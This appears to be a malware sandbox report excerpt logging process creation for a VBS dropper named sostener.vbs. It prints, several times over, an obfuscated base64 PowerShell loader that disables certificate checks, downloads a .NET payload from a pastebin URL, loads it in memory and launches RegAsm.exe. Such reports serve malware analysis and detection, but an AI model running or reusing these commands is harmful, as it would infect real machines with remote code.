Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $lopuennntes = 'j?bh?g0?cwbo?gu?i??9?c??jw?w?dm?jw?7?cq?dgb2?gu?cgby?c??pq?g?cc?jqbw?ho?qqbj?e8?zwbj?g4?tqby?cu?jw?7?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqby?hy?aqbj?gu?u?bv?gk?bgb0?e0?yqbu?ge?zwbl?hi?xq?6?do?uwbl?hi?dgbl?hi?qwbl?hi?d?bp?gy?aqbj?ge?d?bl?fy?yqbs?gk?z?bh?hq?aqbv?g4?qwbh?gw?b?bi?ge?ywbr?c??pq?g?hs?j?b0?hi?dqbl?h0?owbb?fm?eqbz?hq?zqbt?c4?tgbl?hq?lgbt?gu?cgb2?gk?ywbl?f??bwbp?g4?d?bn?ge?bgbh?gc?zqby?f0?og?6?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?i??9?c??wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?gm?dqby?gk?d?b5?f??cgbv?hq?bwbj?g8?b?bu?hk?c?bl?f0?og?6?fq?b?bz?de?mg?7?fs?qgb5?hq?zqbb?f0?xq?g?cq?a?b6?gy?ygbz?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cg?tgbl?hc?lqbp?gi?agbl?gm?d??g?e4?zqb0?c4?vwbl?gi?qwbs?gk?zqbu?hq?kq?u?eq?bwb3?g4?b?bv?ge?z?bt?hq?cgbp?g4?zw?o?c??k?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??tgbl?hq?lgbx?gu?ygbd?gw?aqbl?g4?d??p?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?jwbo?hq?d?bw?do?lw?v?h??yqbz?hq?zqbi?gk?bg?u?gm?bwbt?c8?cgbh?hc?lwbw?dk?eq?1?fe?nqb2?hy?jw?p?c??kq?g?ck?owbb?hm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?do?qwb1?hi?cgbl?g4?d?be?g8?bqbh?gk?bg?u?ew?bwbh?gq?k??k?gg?egbm?gi?cw?p?c4?rwbl?hq?v?b5?h??zq?o?cc?v?bl?gg?dqbs?gm?a?bl?hm?w?b4?fg?e?b4?c4?qwbs?ge?cwbz?de?jw?p?c4?rwbl?hq?tqbl?hq?a?bv?gq?k??n?e0?cwbx?ei?sqbi?fk?jw?p?c4?sqbu?hy?bwbr?gu?k??k?g4?dqbs?gw?l??g?fs?bwbi?go?zqbj?hq?wwbd?f0?i??o?cc?yg?3?fm?sgbi?dc?r?bj?c8?dwbh?hi?lwbt?g8?yw?u?g4?aqbi?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?hy?dgbl?hi?cg?g?cw?i??n?f8?xwbf?hc?aqbu?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?lq?t?c0?lq?t?c0?lq?n?cw?i??k?ge?bqbz?gg?zq?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $lopuennntes.replace('?','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'c:\users\user\desktop\sostener.vbs';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;[byte[]] $hzfbs = [system.convert]::frombase64string( (new-object net.webclient).downloadstring( (new-object net.webclient).downloadstring('http://pastebin.com/raw/v9y5q5vv') ) );[system.appdomain]::currentdomain.load($hzfbs).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('b7sjb7dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $lopuennntes = 'j?bh?g0?cwbo?gu?i??9?c??jw?w?dm?jw?7?cq?dgb2?gu?cgby?c??pq?g?cc?jqbw?ho?qqbj?e8?zwbj?g4?tqby?cu?jw?7?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqby?hy?aqbj?gu?u?bv?gk?bgb0?e0?yqbu?ge?zwbl?hi?xq?6?do?uwbl?hi?dgbl?hi?qwbl?hi?d?bp?gy?aqbj?ge?d?bl?fy?yqbs?gk?z?bh?hq?aqbv?g4?qwbh?gw?b?bi?ge?ywbr?c??pq?g?hs?j?b0?hi?dqbl?h0?owbb?fm?eqbz?hq?zqbt?c4?tgbl?hq?lgbt?gu?cgb2?gk?ywbl?f??bwbp?g4?d?bn?ge?bgbh?gc?zqby?f0?og?6?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?i??9?c??wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?gm?dqby?gk?d?b5?f??cgbv?hq?bwbj?g8?b?bu?hk?c?bl?f0?og?6?fq?b?bz?de?mg?7?fs?qgb5?hq?zqbb?f0?xq?g?cq?a?b6?gy?ygbz?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cg?tgbl?hc?lqbp?gi?agbl?gm?d??g?e4?zqb0?c4?vwbl?gi?qwbs?gk?zqbu?hq?kq?u?eq?bwb3?g4?b?bv?ge?z?bt?hq?cgbp?g4?zw?o?c??k?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??tgbl?hq?lgbx?gu?ygbd?gw?aqbl?g4?d??p?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?jwbo?hq?d?bw?do?lw?v?h??yqbz?hq?zqbi?gk?bg?u?gm?bwbt?c8?cgbh?hc?lwbw?dk?eq?1?fe?nqb2?hy?jw?p?c??kq?g?ck?owbb?hm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?do?qwb1?hi?cgbl?g4?d?be?g8?bqbh?gk?bg?u?ew?bwbh?gq?k??k?gg?egbm?gi?cw?p?c4?rwbl?hq?v?b5?h??zq?o?cc?v?bl?gg?dqbs?gm?a?bl?hm?w?b4?fg?e?b4?c4?qwbs?ge?cwbz?de?jw?p?c4?rwbl?hq?tqbl?hq?a?bv?gq?k??n?e0?cwbx?ei?sqbi?fk?jw?p?c4?sqbu?hy?bwbr?gu?k??k?g4?dqbs?gw?l??g?fs?bwbi?go?zqbj?hq?wwbd?f0?i??o?cc?yg?3?fm?sgbi?dc?r?bj?c8?dwbh?hi?lwbt?g8?yw?u?g4?aqbi?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?hy?dgbl?hi?cg?g?cw?i??n?f8?xwbf?hc?aqbu?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?lq?t?c0?lq?t?c0?lq?n?cw?i??k?ge?bqbz?gg?zq?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $lopuennntes.replace('?','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'c:\users\user\appdata\local\temp\sostener.vbs';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;[byte[]] $hzfbs = [system.convert]::frombase64string( (new-object net.webclient).downloadstring( (new-object net.webclient).downloadstring('http://pastebin.com/raw/v9y5q5vv') ) );[system.appdomain]::currentdomain.load($hzfbs).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('b7sjb7dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $lopuennntes = 'j?bh?g0?cwbo?gu?i??9?c??jw?w?dm?jw?7?cq?dgb2?gu?cgby?c??pq?g?cc?jqbw?ho?qqbj?e8?zwbj?g4?tqby?cu?jw?7?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqby?hy?aqbj?gu?u?bv?gk?bgb0?e0?yqbu?ge?zwbl?hi?xq?6?do?uwbl?hi?dgbl?hi?qwbl?hi?d?bp?gy?aqbj?ge?d?bl?fy?yqbs?gk?z?bh?hq?aqbv?g4?qwbh?gw?b?bi?ge?ywbr?c??pq?g?hs?j?b0?hi?dqbl?h0?owbb?fm?eqbz?hq?zqbt?c4?tgbl?hq?lgbt?gu?cgb2?gk?ywbl?f??bwbp?g4?d?bn?ge?bgbh?gc?zqby?f0?og?6?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?i??9?c??wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?gm?dqby?gk?d?b5?f??cgbv?hq?bwbj?g8?b?bu?hk?c?bl?f0?og?6?fq?b?bz?de?mg?7?fs?qgb5?hq?zqbb?f0?xq?g?cq?a?b6?gy?ygbz?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cg?tgbl?hc?lqbp?gi?agbl?gm?d??g?e4?zqb0?c4?vwbl?gi?qwbs?gk?zqbu?hq?kq?u?eq?bwb3?g4?b?bv?ge?z?bt?hq?cgbp?g4?zw?o?c??k?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??tgbl?hq?lgbx?gu?ygbd?gw?aqbl?g4?d??p?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?jwbo?hq?d?bw?do?lw?v?h??yqbz?hq?zqbi?gk?bg?u?gm?bwbt?c8?cgbh?hc?lwbw?dk?eq?1?fe?nqb2?hy?jw?p?c??kq?g?ck?owbb?hm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?do?qwb1?hi?cgbl?g4?d?be?g8?bqbh?gk?bg?u?ew?bwbh?gq?k??k?gg?egbm?gi?cw?p?c4?rwbl?hq?v?b5?h??zq?o?cc?v?bl?gg?dqbs?gm?a?bl?hm?w?b4?fg?e?b4?c4?qwbs?ge?cwbz?de?jw?p?c4?rwbl?hq?tqbl?hq?a?bv?gq?k??n?e0?cwbx?ei?sqbi?fk?jw?p?c4?sqbu?hy?bwbr?gu?k??k?g4?dqbs?gw?l??g?fs?bwbi?go?zqbj?hq?wwbd?f0?i??o?cc?yg?3?fm?sgbi?dc?r?bj?c8?dwbh?hi?lwbt?g8?yw?u?g4?aqbi?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?hy?dgbl?hi?cg?g?cw?i??n?f8?xwbf?hc?aqbu?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?lq?t?c0?lq?t?c0?lq?n?cw?i??k?ge?bqbz?gg?zq?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $lopuennntes.replace('?','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'c:\users\user\desktop\sostener.vbs';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;[byte[]] $hzfbs = [system.convert]::frombase64string( (new-object net.webclient).downloadstring( (new-object net.webclient).downloadstring('http://pastebin.com/raw/v9y5q5vv') ) );[system.appdomain]::currentdomain.load($hzfbs).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('b7sjb7dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'roda' ));"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $lopuennntes = 'j?bh?g0?cwbo?gu?i??9?c??jw?w?dm?jw?7?cq?dgb2?gu?cgby?c??pq?g?cc?jqbw?ho?qqbj?e8?zwbj?g4?tqby?cu?jw?7?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqby?hy?aqbj?gu?u?bv?gk?bgb0?e0?yqbu?ge?zwbl?hi?xq?6?do?uwbl?hi?dgbl?hi?qwbl?hi?d?bp?gy?aqbj?ge?d?bl?fy?yqbs?gk?z?bh?hq?aqbv?g4?qwbh?gw?b?bi?ge?ywbr?c??pq?g?hs?j?b0?hi?dqbl?h0?owbb?fm?eqbz?hq?zqbt?c4?tgbl?hq?lgbt?gu?cgb2?gk?ywbl?f??bwbp?g4?d?bn?ge?bgbh?gc?zqby?f0?og?6?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?i??9?c??wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?gm?dqby?gk?d?b5?f??cgbv?hq?bwbj?g8?b?bu?hk?c?bl?f0?og?6?fq?b?bz?de?mg?7?fs?qgb5?hq?zqbb?f0?xq?g?cq?a?b6?gy?ygbz?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cg?tgbl?hc?lqbp?gi?agbl?gm?d??g?e4?zqb0?c4?vwbl?gi?qwbs?gk?zqbu?hq?kq?u?eq?bwb3?g4?b?bv?ge?z?bt?hq?cgbp?g4?zw?o?c??k?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??tgbl?hq?lgbx?gu?ygbd?gw?aqbl?g4?d??p?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?jwbo?hq?d?bw?do?lw?v?h??yqbz?hq?zqbi?gk?bg?u?gm?bwbt?c8?cgbh?hc?lwbw?dk?eq?1?fe?nqb2?hy?jw?p?c??kq?g?ck?owbb?hm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?do?qwb1?hi?cgbl?g4?d?be?g8?bqbh?gk?bg?u?ew?bwbh?gq?k??k?gg?egbm?gi?cw?p?c4?rwbl?hq?v?b5?h??zq?o?cc?v?bl?gg?dqbs?gm?a?bl?hm?w?b4?fg?e?b4?c4?qwbs?ge?cwbz?de?jw?p?c4?rwbl?hq?tqbl?hq?a?bv?gq?k??n?e0?cwbx?ei?sqbi?fk?jw?p?c4?sqbu?hy?bwbr?gu?k??k?g4?dqbs?gw?l??g?fs?bwbi?go?zqbj?hq?wwbd?f0?i??o?cc?yg?3?fm?sgbi?dc?r?bj?c8?dwbh?hi?lwbt?g8?yw?u?g4?aqbi?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?hy?dgbl?hi?cg?g?cw?i??n?f8?xwbf?hc?aqbu?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?lq?t?c0?lq?t?c0?lq?n?cw?i??k?ge?bqbz?gg?zq?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $lopuennntes.replace('?','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'c:\users\user\appdata\local\temp\sostener.vbs';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;[byte[]] $hzfbs = [system.convert]::frombase64string( (new-object net.webclient).downloadstring( (new-object net.webclient).downloadstring('http://pastebin.com/raw/v9y5q5vv') ) );[system.appdomain]::currentdomain.load($hzfbs).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('b7sjb7dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'roda' ));"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
